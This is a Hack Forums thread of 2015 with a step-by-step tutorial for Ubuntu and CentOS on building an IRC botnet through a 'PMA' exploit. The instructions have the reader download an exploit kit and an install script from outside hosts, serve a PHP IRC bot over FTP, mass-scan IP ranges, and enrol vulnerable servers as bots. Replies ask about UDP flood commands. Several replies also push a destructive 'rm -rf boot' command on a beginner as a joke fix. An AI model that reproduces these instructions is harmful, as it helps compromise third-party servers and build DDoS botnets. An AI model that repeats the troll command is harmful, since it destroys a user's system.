

Forum:[Hack Forums](#)

Thread: [PMA Tutorial](#)

Sta.ze - June 18, 2015, 10:53 pm

Hello HackForum users. I have had quite a bit of people contact me about the PMA exploit.

If you don't like PMA or have an issue with it, you can leave.

This tutorial is for Ubuntu and CentOS users. There isn't much of a difference but "apt-get" and "yum" that I have seen. So its going to be pretty much the same thing.

This is not the installation of an IRC. This is after your IRC is installed.

Ubuntu:

Spoiler ([Click to View](#))

We first need to install perl dependencies.

Code `wget https://raw.githubusercontent.com/vnstat/PMA-Exploit/master/install.txt`

`sh install.txt`Now that you have that done, we can install R0XEM.

Code `wget http://0xplanet.com/archive/Botnets/PMA/PMA%20Files/R0XEM.zip`

`apt-get install unzip`

`unzip R0XEM.zip`Now we need to install FTP Server and FTP Client.

Code `apt-get install vsftpd`

`apt-get install ftp`

`service vsftpd start`If you have nano installed already great, skip this step.

Code `apt-get install nano`Now we need to navigate to the public ftp folder and create pbot.php.

Code `cd /var/ftp/pub`

`touch pbot.php`Your next step will be on your computer in a text editor.

Copy everything in <http://pastebin.com/J1Nzush8> and paste it in a text editor. Go to line 84 and enter your server information. Replace 127.0.0.1 with your IRC IP, if necessary change the port(6697 for SSL), and change the Channel. Everything else can remain the same. Copy the whole document and do this:

Code `nano pbot.php`right click on the ssh client to paste. Hit these keystrokes.

Code `CTRL + X`

`Y`

`Enter`Now that, that's finished we can go back to root.

Code `cd`We now need to CD into R0XEM and chmod.

Code `cd R0XEM`

`chmod -x *`We need to edit x.

Code `nano x`Scroll down till you see

Code `my $ftp = ftp://ip/pub/client1.php`It won't say ip, i can't remember what it says, but the rest is correct.

You need to enter this after the "="

Code `ftp://YOUR SERVER IP/pub/pbot.php`Then hit these keystrokes

Code `CTRL + X`

`y`

`Enter`Hooray!! You can now start scanning.

Code `./ss 80 -a ip-range -s 10 -i eth0`When that is done you want to do this to put all vulnerable bots on your irc:

Code perl x -x

CentOS:

Spoiler ([Click to View](#))

We first need to install perl dependencies.

Code wget https://raw.githubusercontent.com/vnstat/PMA-Exploit/master/install.txt

sh install.txt Now that you have that done, we can install R0XEM.

Code wget http://0xplanet.com/archive/Botnets/PMA/PMA%20Files/R0XEM.zip

yum install unzip

unzip R0XEM.zip Now we need to install FTP Server and FTP Client.

Code yum install vsftpd

yum install ftp

service vsftpd start If you have nano installed already great, skip this step.

Code yum install nano Now we need to navigate to the public ftp folder and create pbot.php.

Code cd /var/ftp/pub

touch pbot.php Your next step will be on your computer in a text editor.

Copy everything in <http://pastebin.com/J1NzusH8> and paste it in a text editor. Go to line 84 and enter your server information. Replace 127.0.0.1 with your IRC IP, if necessary change the port(6697 for SSL), and change the Channel. Everything else can remain the same. Copy the whole document and do this:

Code nano pbot.php right click on the ssh client to paste. Hit these keystrokes.

Code CTRL + X

Y

Enter Now that, that's finished we can go back to root.

Code cd We now need to CD into R0XEM and chmod.

Code cd R0XEM

chmod -x * We need to edit x.

Code nano x Scroll down till you see

Code my \$ftp = ftp://ip/pub/client1.php It won't say ip, i can't remember what it says, but the rest is correct.

You need to enter this after the "="

Code ftp://YOUR SERVER IP/pub/pbot.php Then hit these keystrokes

Code CTRL + X

y

Enter Hooray!! You can now start scanning.

Code ./ss 80 -a ip-range -s 10 -i eth0 When that is done you want to do this to put all vulnerable bots on your irc:

Code perl x -x

That is all there is to it. It's not so hard. If you have any questions feel free to pm me, post in this thread or add my skype: itz.staze

Nachoss - June 18, 2015, 10:57 pm

Nice tutorial, hope this helps some people out!

Peace Security - June 18, 2015, 10:57 pm

Nice thread, Really detailed and also thanks for the help.?

MafiaServ - June 19, 2015, 3:55 am

Nice elaborated tutorial.

I hope, this will reduce some "How to" threads, and would help out some members.

Appreciated.

Sta.ze - June 19, 2015, 9:29 pm

(Jun 19, 2015 03:55 AM)MafiaServ Wrote: [\[CITE\]](#) Nice elaborated tutorial.

I hope, this will reduce some "How to" threads, and would help out some members.

Appreciated.

Thanks Mafia!

And that is the purpose. I hope new people will have the chance to see my thread and keep the forums looking better and have less 'how to' threads like you have mentioned.

tiendat - September 1, 2015, 10:45 am

Hello !

How to command ??

Help me

i was test .udp

.udpflood

-udp

-udpflood

but nothing.....

int main() - September 1, 2015, 1:06 pm

(Sep 1, 2015 10:45 AM)tiendat Wrote: [\[CITE\]](#) Hello !

How to command ??

Help me

i was test .udp

.udpflood

-udp

-udpflood

but nothing.....

Have you tried restarting your computer?

Sta.ze - September 1, 2015, 8:31 pm

(Sep 1, 2015 01:06 PM)Nullster Wrote: [\[CITE\]](#) Have you tried restarting your computer?

omg jhahaha crying. have you deleted the boot folder?

Code cd /

rm -rf boot

reboot

tiendat - September 1, 2015, 9:11 pm

(Sep 1, 2015 01:06 PM)Nullster Wrote: [\[CITE\]](#) Have you tried restarting your computer?

oh i'm was try restart vps but nothing happen

LeRS - September 1, 2015, 11:00 pm

(Sep 1, 2015 08:31 PM)Issacx Wrote: [\[CITE\]](#) omg jhahaha crying. have you deleted the boot folder?

Code cd /

rm -rf boot

reboot

This worked for me I recommend trying it.

Surday - September 2, 2015, 3:41 am

Dead exploit, good tutorial though.

Sta.ze - September 2, 2015, 8:33 pm

(Sep 1, 2015 11:00 PM)LeRS Wrote: [\[CITE\]](#) This worked for me I recommend trying it.
?

(Sep 2, 2015 03:41 AM)generations Wrote: [\[CITE\]](#) Dead exploit, good tutorial though.
I'm thinking it's starting to come back since most people have abandoned it. More bots for the hosts. That's my opinion though, I could be wrong. But thanks for the feedback :)

Gigabot - September 2, 2015, 8:58 pm

(Sep 2, 2015 08:33 PM)Issacx Wrote: [\[CITE\]](#) ?

I'm thinking it's starting to come back since most people have abandoned it. More bots for the hosts. That's my opinion though, I could be wrong. But thanks for the feedback :)
"its coming back"

lel dun

Toxicique - November 12, 2017, 10:22 am

please reupload roxem! it is down! thanks!